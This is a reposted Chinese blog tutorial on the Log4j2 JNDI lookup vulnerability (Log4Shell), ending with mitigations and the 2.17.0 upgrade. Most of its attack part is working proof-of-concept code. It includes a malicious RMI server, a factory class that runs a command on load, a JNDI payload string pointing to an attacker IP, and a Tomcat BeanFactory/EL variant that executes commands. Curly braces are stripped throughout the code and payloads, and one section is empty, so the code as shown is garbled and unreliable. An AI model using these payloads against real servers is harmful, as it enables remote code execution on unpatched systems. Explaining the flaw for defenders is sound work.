javalog4j2核弹级漏洞原理和分析

Posted 九师兄

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了javalog4j2核弹级漏洞原理和分析相关的知识,希望对你有一定的参考价值。

1.概述

转载:log4j2核弹级漏洞原理和分析 并且补充。

2.漏洞是怎么发现的?

3.漏洞问题重现

依赖如下

<dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.3</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.13.3</version>
        </dependency>

    </dependencies>

3.1 常规的日志写法

一般来说我们是这么写日志的。因为这个demo我仅仅只依赖了log4j2,所以代码就直接调用log4j2的api记录日志了。

public class Main 
    private static  final  Logger logger = LogManager.getLogger();
    public static void main(String[] args) 
        String content = "world";
        logger.trace("hello ",content);
    

上面这个应该是我们非常常用的一种日志记录手法了。输出的结果应该是hello world

3.2 lookups

不过log4j2并不满足上面的功能,他们提供了一种叫lookups的功能

这功能强大啊,我们用demo看一下:

public class Main 
    private static  final  Logger logger = LogManager.getLogger();
    public static void main(String[] args) 
        String content = "world";
        logger.trace("hello ",content);

        //https://logging.apache.org/log4j/2.x/manual/lookups.html
        String content2 = "$java:os";
        logger.trace("hello ",content2);
        String content3 = "$java:vm";
        logger.trace("hello ",content3);
    


我们看下输出的结果:

2021-12-11 20:03:29.751 [main] TRACE [13] - hello world
2021-12-11 20:03:29.755 [main] TRACE [17] - hello Windows 10 10.0, architecture: amd64-64
2021-12-11 20:03:29.756 [main] TRACE [19] - hello Java HotSpot(TM) 64-Bit Server VM (build 25.261-b12, mixed mode)

从结果上可以看到,输出的并不是hello $java:os和hello $java:vm,而是当前服务的操作系统信息和虚拟机信息。其实如果仅仅是这样,那也算不上什么漏洞,只能说功能强大而已。

3.3 Jndi Lookup

但是,log4j2还支持了Jndi Lookup这就很要命了。为了观察这个问题,我们先启动个JNDI的服务看看

public class SimpleJndiServer 
    public static void main(String[] args) 
        try 
            Registry registry = LocateRegistry.createRegistry(1099);
            System.out.println("create rmi 1099");
            Reference reference = new Reference("com.skyline.log4j2.demo.jndi.JndiObj", "com.skyline.log4j2.demo.jndi.JndiObj", null);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("demo", wrapper);
         catch (RemoteException | NamingException | AlreadyBoundException e) 
            e.printStackTrace();
        
    

public class JndiObj implements ObjectFactory 

    static 
        System.out.println("this is JndiObj,i'm here!");
        try 
            //打开远程链接
            Runtime.getRuntime().exec("mstsc");
         catch (IOException e) 
            e.printStackTrace();
        
    
    private String name;

    public String getName() 
        return name;
    

    public void setName(String name) 
        this.name = name;
    

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception 
        return new JndiObj();
    

    @Override
    public String toString() 
        return "JndiObj" +
                "name='" + name + '\\'' +
                '';
    


然后,我们再写日志

public class Main 
    private static  final  Logger logger = LogManager.getLogger();
    public static void main(String[] args) 
        //JNDI注入参考链接
        //https://blog.csdn.net/caiqiiqi/article/details/105976072
        //192.168.31.13为客户端ip(攻击者ip),不是服务ip
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String content4 = "$jndi:rmi://192.168.31.13:1099/demo";
        logger.trace("hello ",content4);
    


可以看到这次我日志中的内容变成了$jndi:rmi://192.168.31.13:1099/demo,这里需要注意的是192.168.31.13是我的本机ip,也就是攻击者的ip。效果如下:


通过log4j2调用JNDI服务,我成功的打开了一个远程桌面。而且我写在JndiObj对象上的日志信息是输出在我的日志服务上的。也就是说,通过JNDI我(攻击者)成功的上传了自己的代码到用户服务中,这就很可怕了。
前面之所以打开的是远程桌面是因为在这里我是这么写的,但是,如果我写点别的呢?


很多时候我们记录在日志中的动态参数都是对象,这些对象可能是从前端或者别的服务请求过来的。比如一个登录接口,如果User对象中的userName的值就是我们上面写的$jndi:rmi://192.168.31.13:1099/demo,那后果真的是不堪设想…所以说是核弹级漏洞,也不算过分。

这个用下图表示就是


卡在登录流程之后,你可以执行任意操作,拷贝代码呀,调用数据库呀,各种操作。

4.高逼格的JNDI代码

附一个高逼格的JNDI代码注入写法:
主要就是用到了

implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.11'
implementation 'org.glassfish:jakarta.el:3.0.3'

代码如下:

public class EvalJndiServer 
    public static void main(String[] args) 
        try 
            Registry registry = LocateRegistry.createRegistry(1098);
            //通过EL打开计算器
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            resourceRef.add(new StringRefAddr("forceString", "a=eval"));
            resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\\"calc\\")"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
            registry.bind("EvalObj", referenceWrapper);
         catch (RemoteException | NamingException | AlreadyBoundException e) 
            e.printStackTrace();
        
    

漏洞补救
log4j2.formatMsgNoLookups=true按照官方api解释说明,当这个值为true时,就不执行lookup了。

2.防火墙,禁止应用服务访问奇怪的ip

5.漏洞解决

升级到2.17.0

implementation "org.apache.logging.log4j:log4j-core:2.17.0"
implementation "org.apache.logging.log4j:log4j-api:2.17.0"
implementation "org.apache.logging.log4j:log4j-jul:2.17.0"
implementation "org.apache.logging.log4j:log4j-slf4j-impl:2.17.0"

以上是关于javalog4j2核弹级漏洞原理和分析的主要内容,如果未能解决你的问题,请参考以下文章

Log4j 爆“核弹级”漏洞,Flink、Kafka等至少十多个项目受影响

Log4j 爆出核弹级漏洞!到底有多厉害?

核弹级漏洞,把 log4j 扒给你看!

核弹级漏洞,我把log4j底裤都给扒了

腾讯安全刚刚给出了Log4j2核弹级漏洞线上修复方案!紧急修复

Log4j 曝核弹级漏洞,一行配置修复,速改